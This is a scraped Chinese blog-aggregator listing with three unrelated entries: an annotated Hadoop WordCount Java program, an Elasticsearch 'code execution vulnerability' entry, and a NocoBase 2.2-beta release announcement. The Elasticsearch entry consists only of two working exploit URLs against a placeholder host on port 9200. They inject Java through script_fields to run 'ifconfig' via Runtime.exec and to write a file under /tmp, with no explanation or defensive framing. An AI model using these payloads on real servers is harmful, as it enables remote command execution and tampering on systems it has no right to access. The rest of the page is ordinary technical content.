首页 文章 精选 留言 我的

精选列表

搜索[代码补全],共10049篇文章
优秀的个人博客,低调大师

WordCount代码实现详解

/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.hadoop.examples; //导入必要的package import java.io.IOException; //报错类 import java.util.StringTokenizer; //StringTokenizer类,用于将空白字符作为分割符的类 import org.apache.hadoop.conf.Configuration;//Hadoop中用于读取配置信息的类 import org.apache.hadoop.fs.Path; //有关文件系统输入输出数据的类 import org.apache.hadoop.io.IntWritable; //封装定义了IntWritable类 import org.apache.hadoop.io.Text; //封装定义了Text类 import org.apache.hadoop.mapreduce.Job; //封装定义了Job类 import org.apache.hadoop.mapreduce.Mapper; //封装定义了Mapper类 import org.apache.hadoop.mapreduce.Reducer; //封装定义了Reducer类 import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; //文件输入要用到的类 import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat; //文件输出要用到的类 import org.apache.hadoop.util.GenericOptionsParser; //GenericOptionsParser类,用来解释常用hadoop命令,并根据需要为Configuration对象设置相应的值 public class WordCount { public static class TokenizerMapper extends Mapper<Object, Text, Text, IntWritable>{ //自定义的TokenizerMapper类,继承自前面导入的Mapper类 private final static IntWritable one = new IntWritable(1); //实例化了一个IntWritable类的one对象并赋值为常量1 private Text word = new Text(); //实例化了一个Text类的对象word public void map(Object key, Text value, Context context //定义Map方法 ) throws IOException, InterruptedException { //这里说一下context类,它是Mapper的一个内部类,它用来与MapReduce系统进行通信,如把map的结果传给reduce处理。简单的说顶级接口用它在map或是reduce任务中跟踪task的状态,MapContext就是记录了map执行的上下文,在mapper类中,这个context可以存储一些job conf的信息,同时context作为了map和reduce执行中各个函数的一个桥梁,我们可以在map函数中处理这个信息 StringTokenizer itr = new StringTokenizer(value.toString());//实例化了一个以空白字符为分隔符的StringTokenizer类的对象itr while (itr.hasMoreTokens()) {//如果判断还有下一个分隔符(空格) word.set(itr.nextToken()); //则输出并返回之间的字符串给word context.write(word, one); //context.write方法将(word,1)这样的二元组存入context中 } } } public static class IntSumReducer //自定义的IntSumReducer类,继承自前面导入的Reducer类 extends Reducer<Text,IntWritable,Text,IntWritable> { private IntWritable result = new IntWritable(); //实例化了一个IntWritable类的result对象 public void reduce(Text key, Iterable<IntWritable> values,Context context//定义Reduce方法,这里迭代器(Iterator)是一种设计模式,它是一个对象,它可以遍历并选择序列(IntWritable)中的对象,而开发人员不需要了解该序列的底层结构。 ) throws IOException, InterruptedException { int sum = 0; for (IntWritable val : values) { sum += val.get();//将该词的出现次数相加 } result.set(sum);//将sum赋给result context.write(key, result);//输出最终结果 } } public static void main(String[] args) throws Exception { Configuration conf = new Configuration(); //运行MapReduce程序前都要初始化Configuration,该类主要是读取MapReduce系统配置信息,这些信息包括hdfs还有MapReduce,也就是安装hadoop时候的配置文件例如:core-site.xml、hdfs-site.xml和mapred-site.xml等等文件里的信息,有些童鞋不理解为啥要这么做,这个是没有深入思考MapReduce计算框架造成,我们程序员开发MapReduce时候只是在填空,在map函数和reduce函数里编写实际进行的业务逻辑,其它的工作都是交给MapReduce框架自己操作的,但是至少我们要告诉它怎么操作啊,比如hdfs在哪里,MapReduce的jobstracker在哪里,而这些信息就在conf包下的配置文件里。 String[] otherArgs = new GenericOptionsParser(conf, args).getRemainingArgs(); if (otherArgs.length < 2) { System.err.println("Usage: wordcount <in> [<in>...] <out>"); System.exit(2); }//If的语句好理解,就是运行WordCount程序时候一定是两个参数,如果不是就会报错退出。至于第一句里的GenericOptionsParser类,它是用来解释常用hadoop命令,并根据需要为Configuration对象设置相应的值 Job job = Job.getInstance(conf, "word count");//用Job.getInstance方法设置作业名为word count job.setJarByClass(WordCount.class); //为job的输出数据设置Key类 job.setMapperClass(TokenizerMapper.class); //设置Mapper类(Map阶段使用) job.setCombinerClass(IntSumReducer.class); //设置Combiner类(中间合并结果) job.setReducerClass(IntSumReducer.class); //设置Reducer类(Reduce阶段使用) job.setOutputKeyClass(Text.class); //为job的输出数据设置Key类,规定Reduce输出的Key类型为Text job.setOutputValueClass(IntWritable.class); //设置Reduce输出的Value类型为IntWritable for (int i = 0; i < otherArgs.length - 1; ++i) { //设置输入输出路径 FileInputFormat.addInputPath(job, new Path(otherArgs[i])); } FileOutputFormat.setOutputPath(job, new Path(otherArgs[otherArgs.length - 1])); System.exit(job.waitForCompletion(true) ? 0 : 1);//等待任务执行完毕退出 } }

优秀的个人博客,低调大师

Elasticsearch 代码执行漏洞

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}} http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}

优秀的个人博客,低调大师

✨ NocoBase 2.2-beta 发布:开源无代码 / 低代码平台 NocoBase

原文链接:https://www.nocobase.com/cn/blog/2.2.0-beta 这是一次围绕 V2 体验的重要升级。这个版本带来了 多工作区、新移动端、新评论区块,同时继续提升 AI 知识库和工作流能力。对正在使用 V2 的团队来说,更值得关注的是全新的 /v/ 分支——它会作为面向 V2 的独立前端入口,承接后续的功能演进。 新特性 新增 /v/ 分支 /v/ 是全新的独立前端入口,并且会独立构建。2.0 版本里我们对前端做了非常大的重构,当时为了兼容性,我们还保留了对 V1 模块、页面等的兼容。而 /v/ 分支则会完全移除 V1 的历史遗留内容,无法再创建或者渲染 V1 的页面和区块,只保留面向 V2 的能力,同时 /v/ 分支在性能方面做了较大优化,这个分支将会是 NocoBase 团队后续主要迭代的分支。 我们建议,生产环境如果全部是以 v2 Page 为主的用户,可以考虑开始使用 /v/ 分支,后续的一些新功能迭代将能直接使用; 如果是以 v2 Page 为主,但是有少部分 v1 Page 的用户,可以考虑先将 v1 Page 迁移到 v2 Page 之后,再考虑使用 /v/ 分支; 如果是以 v1 Page 为主的用户,则不建议直接切换到 /v/ 分支。我们建议你们先将当前 v1 Page 迁移到 v2 Page 之后,再切换到 /v/ 分支。 通常只要在原有的路径前面加上 /v/ 前缀,即可进入 /v/ 分支。 比如: # 原本的路径 https://nocobase.example.com/admin/1xl0epqn6q3 # v 分支路径 https://nocobase.example.com/v/admin/1xl0epqn6q3 设置应用的默认入口 你可以通过环境变量 APP_CLIENT_ENTRY_MODE 控制应用入口模式: legacy-default:/ 和 /v/ 都可以访问,默认入口是 / modern-default:/ 和 /v/ 都可以访问,默认入口是 /v/ modern-only:只能访问 /v/ /v/ 分支当前情况 /v/ 分支是个渐进式迁移的分支,进入 /v/ 分支后,将会有几个明显的变化: 通过 Page V1 创建过的页面,在 /v/ 分支里将不再展示。而通过 Page V2 创建的页面,在 /v/ 分支里还能正常展示。 只适配了 client-v1 的插件,在 /v/ 分支里将不再加载。/v/ 分支只会加载适配了 client-v2 的插件。具体可以参考客户端插件开发文档。 目前,NocoBase 内置的大部分插件,已在这个版本里进行了 client-v2 的适配和迁移,因此大部分功能是能直接使用的(还有少数一些未迁移的插件,我们会在持续迁移)。不过有些插件提供的能力,后续只会在 /v/ 分支进行更新和迭代。具体如下: 插件列表不再显示废弃插件和仅支持 1.x 的插件 不再支持新增 Page V1 公开表单会区分 v1 和 v2,/v/ 分支不显示 v1 版本的公开表单 审批工作流如果要在 /v/ 分支使用,需要重新配置相关 UI 新移动端只支持 /v/ 分支 多工作区只支持 /v/ 分支 App supervisor 中子应用的 Display 配置已移除,可以改用工作区 「AI 员工 / 数据源」标签页已移除 移除了评论表、日历表、表达式表、外部数据表 工作流人工节点暂时还不支持 /v/ 分支 暂时还不支持给菜单添加徽标数 可以结合生产环境的实际情况进行 /v/ 分支的迁移。 多工作区(仅 /v/ 分支支持) 工作区(Portal)用于在同一个应用内提供多个访问入口。每个工作区都可以拥有独立的页面、菜单、导航结构、布局和权限配置。(专业版及以上版本支持) 在实际业务场景中,不同角色通常需要不同的操作界面。例如一个零售管理系统: 零售管理系统 ├─ 总部工作区 ├─ 门店工作区 ├─ 经销商工作区 └─ 移动工作区 总部员工关注: 商品管理 库存管理 数据分析 门店员工关注: 收银 库存盘点 订单处理 经销商关注: 采购 对账 发货状态 虽然使用的是同一个系统,但不同角色并不需要看到相同的菜单和页面,多工作区正是用来解决这一问题的。 参考文档: 多工作区 新移动端(仅 /v/ 分支支持) 新移动端提供了全新的 /v/mobile 入口,与此同时,工作区也支持新增移动端布局的工作区。 移动端布局和桌面端布局使用相同的数据源和业务数据,不过菜单、路由和页面内容分别配置。这样可以根据移动端的使用方式重新组织页面,而不必受到桌面端页面结构的限制。同时,使用底部标签栏作为一级导航,更适合在手机上完成数据录入、查询、审批和任务处理。 参考文档: 移动端布局 新评论区块 新评论区块不再局限于主数据源的评论表,不是关系区块也可以使用。评论区块用于给业务记录添加评论能力。你可以在任务、文章、工单、客户等记录的详情页或弹窗里添加评论区块,让用户围绕当前记录查看、回复和新增评论。 参考文档: 评论区块 AI 知识库优化 这个版本 AI 知识库也完成了 client-v2 版本的迁移。同时,工作流创建知识库文档的时候,支持按知识库文档的 key 进行覆盖。 参考文档: AI 知识库 工作流:数据库事务节点 工作流新增了数据库事务节点。它用于将一组数据库操作放入同一个事务中执行。适合需要保证多步数据处理 “全部成功或全部回滚” 的场景,例如创建订单后扣减库存、写入明细、更新状态等。 参考文档: 数据库事务节点 以下插件不再支持 V2(已废弃但尚未移除) 有一部分插件实际上在更早之前就已废弃,其中部分目前仍可使用,但会在 V3 中彻底移除。 插件 替代品 备注 @nocobase/plugin-audit-logs @nocobase/plugin-audit-logger 自 1.0 起废弃的功能 @nocobase/plugin-backup-restore @nocobase/plugin-backups 自 1.0 起废弃的功能 @nocobase/plugin-block-multi-step-form JS Block 自 2.0 起废弃的功能 @nocobase/plugin-charts @nocobase/plugin-data-visualization 自 2.0 起废弃的功能 @nocobase/plugin-collection-fdw 从数据库同步 自 2.2 起废弃的功能 @nocobase/plugin-comments @nocobase/plugin-block-comment 自 2.2 起废弃的功能 @nocobase/plugin-custom-variables 事件流 自 2.2 起废弃的功能 @nocobase/plugin-data-visualization-echarts @nocobase/plugin-data-visualization 自 2.0 起废弃的功能 @nocobase/plugin-disable-pm-add 无 自 2.2 起废弃的功能 @nocobase/plugin-field-component-mask RunJS 自 2.0 起废弃的功能 @nocobase/plugin-graph-collection-manager 无 自 2.2 起废弃的功能 @nocobase/plugin-mobile-client @nocobase/plugin-ui-layout 自 2.0 起废弃的功能 @nocobase/plugin-mobile @nocobase/plugin-ui-layout 自 2.0 起废弃的功能 @nocobase/plugin-mock-collections AI 搭建 自 2.0 起废弃的功能 @nocobase/plugin-multi-app-manager @nocobase/plugin-app-supervisor 自 2.0 起废弃的功能 @nocobase/plugin-multi-app-share-collection 无 自 1.0 起废弃的功能 @nocobase/plugin-notifications @nocobase/plugin-notification-manager 自 1.0 起废弃的功能 @nocobase/plugin-snapshot-field 无 自 1.0 起废弃的功能

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册